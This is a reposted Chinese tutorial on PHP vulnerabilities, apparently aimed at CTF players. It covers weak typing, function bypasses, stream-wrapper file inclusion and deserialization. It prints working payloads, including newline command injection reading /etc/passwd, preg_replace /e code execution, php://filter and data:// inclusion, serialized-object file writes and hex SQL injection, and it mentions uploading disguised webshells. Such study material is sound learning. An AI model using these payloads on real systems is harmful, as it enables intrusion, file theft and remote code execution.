快盘下载:好资源、好软件、快快下载吧!

快盘排行|快盘最新

当前位置:首页软件教程电脑软件教程 → 一文了解PHP的各类漏洞和绕过姿势

一文了解PHP的各类漏洞和绕过姿势

时间:2022-09-29 13:00:51人气:作者:快盘下载我要评论

一文了解PHP的各类漏洞和绕过姿势

前言

尽可能全面的总结PHP的各种安全问题

基础知识弱类型及各种函数伪协议反序列化其他

本篇持续更新

一、基础知识

1、九大全局变量

$_POST:用于接收post提交的数据$_GET :用于获取url地址栏的参数数据$_FILES :用于文件接收的处理, img 最常见$_COOKIE :用于获取与setCookie()中的name 值$_SESSION :用于存储session的值或获取session中的值$_REQUEST :具有get、post的功能,但比较慢$_SERVER:预定义服务器变量的一种$GLOBALS :一个包含了全部变量的全局组合数组$_ENV :是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量,我们可以在PHP 程序的任何地方直接访问它

二、弱类型以及各种函数

1、精度缺陷

在用PHP进行浮点数的运算中,经常会出现一些和预期结果不一样的值,这是由于浮点数的精度有限 尽管取决于系统,PHP 通常使用 IEEE 754 双精度格式,则由于取整而导致的最大相对误差为 1.11e-16 非基本数学运算可能会给出更大误差,并且要考虑到进行复合运算时的误差传递

下面看一个有趣的例子感受下:

一文了解PHP的各类漏洞和绕过姿势

以十进制能够精确表示的有理数如 0.1 或 0.7,无论有多少尾数都不能被内部所使用的二进制精确表示 因此不能在不丢失一点点精度的情况下转换为二进制的格式

这就会造成混乱的结果: 例如,floor((0.1+0.7)*10) 通常会返回 7 而不是预期中的 8,因为该结果内部的表示其实是类似 7.9999999999999991118…

2、类型转换缺陷

PHP弱类型语言的一个特性,当一个整形和一个其他类型比较的时候,会先把其他类型intval数字化再比

举个例子

<?php
    error_reporting(0);
    $flag = 'flag{test}';
    $id = $_GET['id'];
    is_numeric($id)?die("Sorry...."):NULL;    
    if($id>2020){
        echo $flag;
    }
?>

既要传入非数字,又要比2020大

那就传个?id=2021a即可

实例

simple_php

3、==和===

比较符如下

尤其要关注的是==和===

==会先将字符串类型转换成相同,再比较===会先判断两种字符串的类型是否相等,再比较

PHP

编程算法

一些利用

'a'==0   //true
'12a'==12  //true
'1'==1   //true
'1aaaa55sss66'==1  //true
1==true=="1"   //true

"0e123" == "0e456"  //true,0e这类字符串识为科学技术法的数字,0的无论多少次方都是零,所以相等
"0e123" == "0eabc"  //flase,科学计数的指数不可以包含字母  

一批md5开头是0e的字符串

QNKCDZO
0e830400451993494058024219903391
  
s878926199a
0e545993274517709034328855841020
  
s155964671a
0e342768416822451524974117254469
  
s214587387a
0e848240448830537924465865611904
  
s214587387a
0e848240448830537924465865611904
  
s878926199a
0e545993274517709034328855841020
  
s1091221200a
0e940624217856561557816327384675
  
s1885207154a
0e509367213418206700842008763514
  
s1502113478a
0e861580163291561247404381396064
  
s1885207154a
0e509367213418206700842008763514
  
s1836677006a
0e481036490867661113260034900752
  
s155964671a
0e342768416822451524974117254469
  
s1184209335a
0e072485820392773389523109082030
  
s1665632922a
0e731198061491163073197128363787
  
s1502113478a
0e861580163291561247404381396064
  
s1836677006a
0e481036490867661113260034900752
  
s1091221200a
0e940624217856561557816327384675
  
s155964671a
0e342768416822451524974117254469
  
s1502113478a
0e861580163291561247404381396064
  
s155964671a
0e342768416822451524974117254469
  
s1665632922a
0e731198061491163073197128363787
  
s155964671a
0e342768416822451524974117254469
  
s1091221200a
0e940624217856561557816327384675
  
s1836677006a
0e481036490867661113260034900752
  
s1885207154a
0e509367213418206700842008763514
  
s532378020a
0e220463095855511507588041205815
  
s878926199a
0e545993274517709034328855841020
  
s1091221200a
0e940624217856561557816327384675
  
s214587387a
0e848240448830537924465865611904
  
s1502113478a
0e861580163291561247404381396064
  
s1091221200a
0e940624217856561557816327384675
  
s1665632922a
0e731198061491163073197128363787
  
s1885207154a
0e509367213418206700842008763514
  
s1836677006a
0e481036490867661113260034900752
  
s1665632922a
0e731198061491163073197128363787
  
s878926199a
0e545993274517709034328855841020

实例

simple_phpics-07

4、strcmp()函数

这是个比较字符串的函数

int strcmp ( string $str1 , string $str2 )
如果 str1 小于 str2 返回 < 0如果 str1 大于 str2 返回 > 0如果两者相等,返回 0

问题

在PHP版本为5.3.3至5.5中(不包含5.5),当比较数组和字符串的时候,返回值也是0

例子

<?php
$password=$_GET['password'];
if(strcmp('am0s',$password)){
    echo 'false!';
}else{
    echo 'success!';
}
?>

绕过

?password[]=1

拓展

除了strcmp()函数外,ereg()和strpos()函数在处理数组的时候也会异常,返回NULL

5、intval()函数

用于获取变量的整数值 在转换时,函数会从字符串起始处进行转换直到遇到一个非数字的字符 即使出现无法转换的字符串也不会报错而是返回0

于是有

<?php
$a = $_GET['a'];
if (intval($a) === 666) {
  $sql = "Select a From Table Where Id=".$a;
  echo $sql;
} else {
  echo "No...";
}
?>

文件存储

6、sha1() 和md5()加密函数

都用于计算字符串的散列值 但是两者都无法处理数组,不会抛出异常而是直接返回NULL

例子

<?php
$a = $_GET['a'];
$b = $_GET['b'];
if (md5($a) === sha1($b)) {
  echo "Bypass md5() and sha1()!";
} else {
  echo "No...";
}
?>

绕过方法

?a[]=1&b[]=1

7、parse_str()函数

解析字符串并注册成变量,在注册变量之前不会验证当前变量是否存在,所以直接覆盖掉已有变量

void parse_str ( string $str [, array &$arr ] )

当parse_str()函数的参数值可以被用户控制时,则存在变量覆盖漏洞

例子

<?php
error_reporting(0);
if(empty($_GET['id'])) {
  show_source(__FILE__);
  die();
} else {
  include ('flag.php');
  $a = "www.xxx.com";
  $id = $_GET['id'];
  @parse_str($id);
  if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
    echo $flag;
  } else {
    exit('so easy!');
  }
}
?>

ThinkPHP

结合弱类型的例子

<?php
error_reporting(0);
if(empty($_GET['id'])) {
  show_source(__FILE__);
  die();
} else {
  include ('flag.php');
  $a = "www.xxx.com";
  $id = $_GET['id'];
  @parse_str($id);
  if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
    echo $flag;
  } else {
    exit('so easy!');
  }
}
?>

绕过

?b=a[0]=240610708

8、is_numeric()函数

用于检测变量是否为数字或数字字符串

可被十六进制的值进行绕过

例子

<?php
$name = $_GET['name'];
$con = mysql_connect("localhost","root","hehe123");
if (!$con)
{
  die('Could not connect: ' . mysql_error());
}

mysql_select_db("test", $con);
if (is_numeric($name)) {
  mysql_query("insert into users values (3," . $name . ",'test')");
}
?>

1′ union select 1,2,3的十六进制为0x312720756e696f6e2073656c65637420312c322c33 绕过

?name=0x312720756e696f6e2073656c65637420312c322c33

9、in_array()函数

用来判断一个值是否在某一个数组列表里面 其缺陷在于存在自动类型转换 当输入数字1后再紧跟其他字符串能够Bypass检测数组的功能

例子

<?php
$id = $_GET['id'];
if (in_array($id, array(1,2,3,4,5,6,7,8,9,0))) {
  $sql = "Select a From users Where Id='".$id."'";
  echo $sql;
} else {
  echo "No...";
}
?>

网络安全

10、ereg()和eregi()

用于正则匹配,两者的区别在于是否区分大小写 使用指定的模式搜索一个字符串中指定的字符串,如果匹配成功则返回true,否则返回false

该函数可被%00截断来Bypass 传入数组之后,ereg是返回NULL

例子

<?php
$passwd = $_GET['passwd'];
if (@ereg("^[a-zA-Z0-9_]+$", $passwd)) {
  $sql = "Select username From users Where password='".$passwd."'";
  echo $sql;
} else {
  echo "No...";
}
?>

ThinkPHP

11、json_decode()函数

用于对json格式数据进行json解码操作,对于一个json类型的字符串,会解密成一个数组

其存在一个0=="efeaf"的Bypass

例子

<?php
$key = "JsonTest";
if (isset($_GET['data'])) {
  $data = json_decode($_GET['data']);
  if ($data->key == $key) {
    echo "Bypass json_decode()!";
  } else {
    echo "No...";
  }
}
?>

ThinkPHP

12、preg_match() 函数

用于执行一个正则表达式匹配

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
$pattern :要搜索的模式,字符串形式$subject:要搜索检测的目标字符串matches:如果提供了参数matches,它将被填充为搜索结果 matches[0]将包含完整模式匹配到的文本, $flags:可设置标记值$offset:可选参数 offset 用于指定从目标字符串的某个未知开始搜索(单位是字节)

/i 修饰符

大小写不敏感

<?php
      error_reporting(0);
    $name =  $_GET["name"];
        if (preg_match('/script/', $_GET["name"])) {
        die('hacker');
    }
    echo $name;
?>

绕过

?name=<Script>alert(2333)</Script>

/m 修饰符

多行匹配 当出现换行符 %0a的时候,会被当做两行处理 此时只可以匹配第 1 行,后面的行就会被忽略

<?php
  if (!(preg_match('/^d{1,3}.d{1,3}.d{1,3}.d{1,3}$/m', $_GET['ip']))) {
     die("Invalid IP address");
  }
  system("ping -c 2 ".$_GET['ip']);
?>

绕过

ip=127.0.0.1%0acat /etc/passwd

实例

攻防世界 web高手进阶区 9分题 favorite_number

13、preg_replace()函数

执行一个正则表达式的搜索和替换

preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed

$pattern :要搜索的模式,可以是字符串或一个字符串数组$replacement :用于替换的字符串或字符串数组$subject:要搜索替换的目标字符串或字符串数组$limit:可选,对于每个模式用于每个 subject 字符串的最大可替换次数。默认是-1(无限制)$count:可选,为替换执行的次数

/e修饰符

使 preg_replace() 将 replacement 参数当作 PHP 代码

1、无限传参

<?php
    echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
?>

绕过

?pattern=/233/e&new=phpinfo()&base=233

2、简单正则

<?php
    error_reporting(0);
    include('flag.php');

    $pattern = $_REQUEST["pattern"];
    $new = $_POST["new"];
    $base = '2333';
    preg_replace(
        $pattern,
        $new,
        $base
    );
?>

绕过

?pattern=/d/e

然后就可以蚁剑了

PHP

编程算法

3、进阶正则

<?php
    error_reporting(0);

    function complexStrtolower($regex, $value){
        return preg_replace('/('.$regex.')/ei', 'strtolower("1")', $value);
    }

    foreach($_REQUEST as $regex => $value){
        echo complexStrtolower($regex, $value) . "
";
    }

    Highlight_file(__FILE__);
?>

绕过

S+={${phpinfo()}} 

实例

ics-05

14、register_globals全局变量覆盖

php.ini中有一项为register_globals,即注册全局变量

register_globals=On时,传递过来的值会被直接的注册为全局变量直接使用register_globals=Off时,我们需要到特定的数组里去得到它PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除

当register_globals=On,变量未被初始化且能够用户所控制时,就会存在变量覆盖漏洞

例子

<?php
echo "Register_globals: " . (int)ini_get("register_globals") . "<br/>";
if ($a) {
  echo "Hacked!";
}
?>

编程算法

15、extract()变量覆盖

从数组中将变量导入到当前的符号表 使用数组键名作为变量名,使用数组键值作为变量值 针对数组中的每个元素,将在当前符号表中创建对应的一个变量

int extract ( array $var_array [, int $extract_type [, string $prefix ]] )

第二个参数指定函数将变量导入符号表时的行为

当值为EXTR_OVERWRITE时,在将变量导入符号表的过程中,如果变量名发生冲突,则覆盖所有变量值为EXTR_SKIP则表示跳过不覆盖若第二个参数未指定,则在默认情况下使用EXTR_OVERWRITE

当extract()函数从用户可以控制的数组中导出变量且第二个参数未设置或设置为EXTR_OVERWRITE时,就存在变量覆盖漏洞

例子

<?php
$a = "0";
extract($_GET);
if ($a == 1) {
  echo "Hacked!";
} else {
  echo "Hello!";
}
?>

文件存储

16、import_request_variables()变量覆盖

将GET、POST、Cookies中的变量导入到全局 4.1.0 <= PHP < 5.4.0

bool import_request_variables (string $types [, string $prefix])

$type代表要注册的变量,G代表GET,P代表POST,C代表COOKIE第二个参数为要注册变量的前缀

例子

<?php
$a = "0";
import_request_variables("G");

if ($a == 1) {
  echo "Fucked!";
} else {
  echo "Nothing!";
}
?>

编程算法

17、$$导致的变量覆盖

$var是一个正常变量,名称为:var,存储任何值,如:string,integer,float等var是一个引用变量,用于存储

例子使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值传入id=mi1k7ea后,在foreach语句中,_key为id,_value为mi1k7ea,进而_key为

<?php
foreach (array('_COOKIE','_POST','_GET') as $_request)  
{
    foreach ($$_request as $_key=>$_value)  
    {
        $$_key=  $_value;
    }
}
$id = isset($id) ? $id : "test";
if($id === "mi1k7ea") {
    echo "flag{xxxxxxxxxx}";
} else {
  echo "Nothing...";
}
?>

编程算法

18、strstr()函数

大小写敏感

实例

Web_php_include

19、mt_rand()函数

随机数生成工具

问题在于每个php cgi进程期间,只有第一次调用mt_rand()会自动播种 接下来都会根据这个第一次播种的种子来生成随机数

所以可以通过逆向得到随机种子 然后获取后面其他随机数 如路径之类的信息就有了

工具

php_mt_seed

实例

攻防世界 web高手进阶区 10分题 Guess

三、伪协议

php伪协议主要有以下

file://:用于访问本地文件系统读取本地文件php://:访问各个输入/输出流(I/O streams),其中php://filter用于读取文件内容,php://input可以访问请求的原始数据的只读流、同时可将post请求中的数据作为PHP代码执行zip://,bzip2://,zlib://:均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名data://:写入数据phar://:PHP归档

通常都会用在文件包含上

1、php:// 输入输出流

PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器

(1)php://filter

元封装器,设计用于”数据流打开”时的”筛选过滤”应用本地磁盘文件进行读取不需要开启allow_url_fopen和allow_url_include

有一些敏感信息会保存在php文件中,如果我们直接利用文件包含去打开一个php文件,php代码是不会显示在页面上的 这时候我们可以以base64编码的方式读取指定文件的源码

用法

?filename=php://filter/convert.base64-encode/resource=xxx.php
?filename=php://filter/read=convert.base64-encode/resource=xxx.php 

编程算法

实例

ics-05攻防世界 web高手进阶区 10分题 Guess

(2)php://input

可以访问请求的原始数据的只读流即可以直接读取到POST上没有经过解析的原始数据不需要开启allow_url_fopen和allow_url_include在遇到file_get_contents()时可以用php://input绕过
<?php
    echo file_get_contents("php://input");
?>

PHP

可以用来执行命令

文件存储

也可以写入木马

编程算法

2、file:// 读取文件内容

通过file协议可以访问本地文件系统,读取到文件的内容 且不受allow_url_fopen与allow_url_include的影响 只能输入绝对路径,输入相对路径不生效

编程算法

注 输入php或JS文件,file://协议会执行该PHP文件里的代码而不是显示该内容

3、data:// 读取文件

数据流封装器,和php://相似都是利用了流的概念 将原本的include的文件流重定向到了用户可控制的输入流中 简单来说就是执行文件的包含方法包含了你的输入流

条件

php版本大于等于php5.2必须同时开启allow_url_fopen和allow_url_include

使用方法

data:text/plain;base64, <script>alert('xss')</script>
data://text/plain;base64, <script>alert('xss')</script>
data:text/plain;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=
data://text/plain;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=

执行命令

?file=data:text/plain,<?php phpinfo();?>

文件存储

base64绕过

index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

网络安全

实例

攻防世界 web高手进阶区 10分题 url

4、phar:// 针对压缩包

php解压缩包的一个函数 不管后缀是什么,都会当做压缩包来解压

条件

压缩包需要zip协议压缩php版本大于等于php5.3.0

用法

一句话木马文件shell.php用zip协议压缩为shell.zip将后缀改为png等其他格式上传访问

文件存储

实例

攻防世界 web高手进阶区 10分题 GuessPhar的一些利用姿势

5、zip:// 针对压缩包

类似phar:// 使用方法和条件有点区别

条件

压缩包需要zip协议压缩php版本大于等于php5.3.0,windows下php还得小于5.4不需要开启allow_url_fopen和allow_url_include#编码为%23,接上压缩包内的文件需要指定绝对路径

编程算法

注 类似的还有zlib://协议和bzip2://协议

四、反序列化

php序列化的两个函数

serialize():将一个对象转成字符串形式,方便保存以便于下次再次反序列化出该对象直接使用unserialize():将序列化后的字符串反序列化成一个对象

1、序列化与反序列化

考虑User具有以下属性的对象:

$user->name = "carlos";
$user->isLoggedIn = true;

序列化后,该对象可能看起来像这样:

O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}

可以解释如下:

O:4:"User"       具有4个字符的类名称的对象 "User"
2          对象具有2个属性
s:4:"name"       第一个属性的键是4个字符的字符串 "name"
s:6:"carlos"     第一个属性的值是6个字符的字符串 "carlos"
s:10:"isLoggedIn"   第二个属性的键是10个字符的字符串 "isLoggedIn"
b:1         第二个属性的值是布尔值 true

2、魔术方法

魔术方法就是在某些条件下自动执行的函数

参考官方文档 一些魔术方法如下

__sleep()     //使用serialize时触发,serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,然后才执行序列化操作 
__destruct()   //对象被销毁时触发 
__call()     //在对象上下文中调用不可访问的方法时触发 
__callStatic()   //在静态上下文中调用不可访问的方法时触发 
__get()     //用于从不可访问的属性读取数据
__set()     //用于将数据写入不可访问的属性 
__isset()     //在不可访问的属性上调用isset()或empty()触发 
__unset()     //在不可访问的属性上使用unset()时触发 
__invoke()     //当脚本尝试将对象调用为函数时触发

最重要的几个

__wakeup()    //unserialize函数会检查是否存在wakeup方法,如果存在则先调用wakeup方法,做一些必要的初始化连数据库等操作
__construct()   //PHP5允行在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法
__destruct()  //PHP5引入析构函数的概念,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
__toString()  //用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误

3、PHP的反序列化漏洞

PHP反序列化漏洞出现的原因:

unserialize()传入参数可控在某些魔术方法可用有过滤或者过滤不完善

通过几个例子来感受下

例子1——wakeup

<?php 
 class Test{
     var $test = "123";
     function __wakeup(){
         $fp = fopen("test.php", 'w');
         fwrite($fp, $this -> test);
         fclose($fp);
     }
 }
 
$test1 = $_GET['test'];
print_r($test1);
echo "<br />";
$seri = unserialize($test1);
require "test.php";
?>
代码中写了__wakeup()在反序列化之前一定会调用此方法,创建了一个test.php文件把Test类中的test变量的值写进了test.php文件require进行文件包含

payload

1.php?test=O:4:"Test":1:{s:4:"test";s:18:"<?php%20phpinfo();?>";}

网络安全

注:CVE-2016-7124漏洞:序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行

实例

unserialize3Web_php_unserialize

例子2——construct

<?php 
class Test1{
    function __construct($test){
        $fp = fopen("shell.php", "w");
        fwrite($fp, $test);
        fclose($fp);
    }
}

class Test2{
    var $test = "123";
    function __wakeup(){
        $obj = new Test1($this -> test);
    }
}

$test = $_GET['test'];
unserialize($test);
require "shell.php";
?>
contruct打开了一个shell.phpwakeup调用了Test1类require文件包含

payload

2.php?test=O:4:"Test":1:{s:4:"test";s:18:"<?php%20phpinfo();?>";}

例子3——destruct

class Test{
  var $test = "demo";
  function __destruct(){
    echo $this->test;
  }
}
$a = $_GET['test'];
$a_unser = unserialize($a);

本结束时就会调用destruct函数,同时会覆盖test变量

payload

3.php?test=O4:"Test":1:{s:4:"test";s:18:"<?php%20phpinfo();?>";}

例子4——session

首先php的session存储与读取是一个序列化跟反序列化的过程,其中有三种模式,分别是php_binary、php、php_serialize,这几个模式的存储方式不太一样,这也是会导致反序列化漏洞的根源

比如说是php_serialize的存储方式,那么我们可以通过构造一个上传表单,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在_SESSION中获得当PHP检测到这种POST请求时,它会在_SESSION中添加一组数据, 索引是session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值然后再session_start()函数,直接触发session反序列化漏洞

PHP session反序列化漏洞

例子5——phar://的应用

hitcon Orange 的一道 0day 题的解法,打开了反序列化的大门,之后再black 2018有一位演讲者也谈到了phar协议在反序列化中的运用,大大增加了攻击面

phar 文件包在 生成时会以序列化的形式存储用户自定义的 meta-data ,配合 phar:// 我们就能在文件系统函数 file_exists()、 is_dir() 等参数可控的情况下实现自动的反序列化操作,于是我们就能通过构造精心设计的 phar 包在没有 unserailize() 的情况下实现反序列化攻击,从而将 PHP 反序列化漏洞的触发条件大大拓宽了,降低了我们 PHP 反序列化的攻击起点演讲中测试发现php中很多很多函数配合phar协议,可以触发反序列化漏洞。比如说file_get_contents、file_exists、还有最新的SUCTF遇到的finfo_file等等。这里提一下,含可以通过php://filter/resource=伪协议的形式后面跟phar协议,同样可以触发。这是在SUCTF做题中最新发现的一个点利用条件:存在文件上传点,还有操作系统文件的函数跟进phar源码,其实最根源的是底层调用了php_stream_open_warpper_ex函数处理

phar反序列化漏洞

例子6——pop链

(1)寻找 unserialize() 函数的参数是否有我们的可控点

(2)寻找我们的反序列化的目标,重点寻找 存在 wakeup() 或 destruct() 魔法函数的类

(3)一层一层地研究该类在魔法方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发的

PHP对象注入之pop链构造

五、其他

见到的一些安全问题

1、动态特性

直接放链接 PHP动态特性的捕捉与逃逸

2、webshell免杀

直接放链接 PHP webshell 免杀姿势总结

3、ThinkPHP 5.x远程命令执行漏洞

直接放链接 ThinkPHP 5.x远程命令执行漏洞分析与复现

实例

php-rce

4、PHP混淆后门

直接放链接 一个PHP混淆后门的分析

实例

攻防世界 web高手进阶区 7分题 Web_php_wrong_nginx_config

5、一些函数的巧用

看题目 攻防世界 web高手进阶区 8分题 love_math

6、数组key溢出

PHP的hastTable是通过链表法实现的,按说是不会存在溢出的问题 但是其索引值表示的范围有限,当超出索引值时就会造成溢出 这个溢出只存在当索引值为数字时,输入的数字为正,输出却为负值的原因是函数参数与输出的类型不一致导致的

看个例子

<?php
$arr[1] = '1';
$arr[18446744073708551617333333333333] = '18446744073708551617333333333333';
$arr[] = 'test';
$arr[4294967296] = 'test';
$arr[9223372036854775807] = 'test';
$arr[9223372036854775808] = 'test';
var_dump($arr);

上面这些输出的结果是

array(6) {
  [1]=>
  string(1) "1"
  [-999799117276250112]=>
  string(32) "18446744073708551617333333333333"
  [2]=>
  string(4) "test"
  [4294967296]=>
  string(4) "test"
  [9223372036854775807]=>
  string(4) "test"
  [-9223372036854775808]=>
  string(4) "test"
}

当key值很大时输出的值溢出了,临界点是9223372036854775807这个数字

实例

攻防世界 web高手进阶区 9分题 favorite_number

结语

本文总结归纳PHP的各种安全问题 持续更新

参考

PHP代码安全杂谈PHP弱类型及相关函数Bypass小结CTF之PHP黑魔法总结PHP preg_系列漏洞小结PHP mt_rand安全杂谈及应用场景详解PHP变量覆盖漏洞小结PHP对象注入之pop链构造PHP伪协议php://filter的妙用Phar的一些利用姿势PHP session反序列化漏洞PHP反序列化利用(更新中)PHP unserialize反序列化漏洞phar反序列化漏洞PHP动态特性的捕捉与逃逸ThinkPHP留后门技巧php遍历目录&删除指定文件中指定内容PHP webshell 免杀姿势总结PHP数组的key溢出问题

红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。

相关文章

  • wordpress删除“功能”中的 RSS链接

    wordpress删除“功能”中的 RSS链接,本次操作以wordpress-3.6.1为例,其它版本,操作上,大同小异 打开“网站wp-includesdefault-widgets.php” 搜索如......
  • 用.NET做DDNS动态域名解析和SSL证书申请

    用.NET做DDNS动态域名解析和SSL证书申请,前几天用.NET玩IoT设备,拿出了角落吃灰的Jetson Nano。近期也买了一堆传感器,还在路上,准备到手之后,好好捣鼓一番。Nano设备呢,虽然没有一直开......

网友评论

快盘下载暂未开通留言功能。

关于我们| 广告联络| 联系我们| 网站帮助| 免责声明| 软件发布

Copyright 2019-2029 【快快下载吧】 版权所有 快快下载吧 | 豫ICP备10006759号公安备案:41010502004165

声明: 快快下载吧上的所有软件和资料来源于互联网,仅供学习和研究使用,请测试后自行销毁,如有侵犯你版权的,请来信指出,本站将立即改正。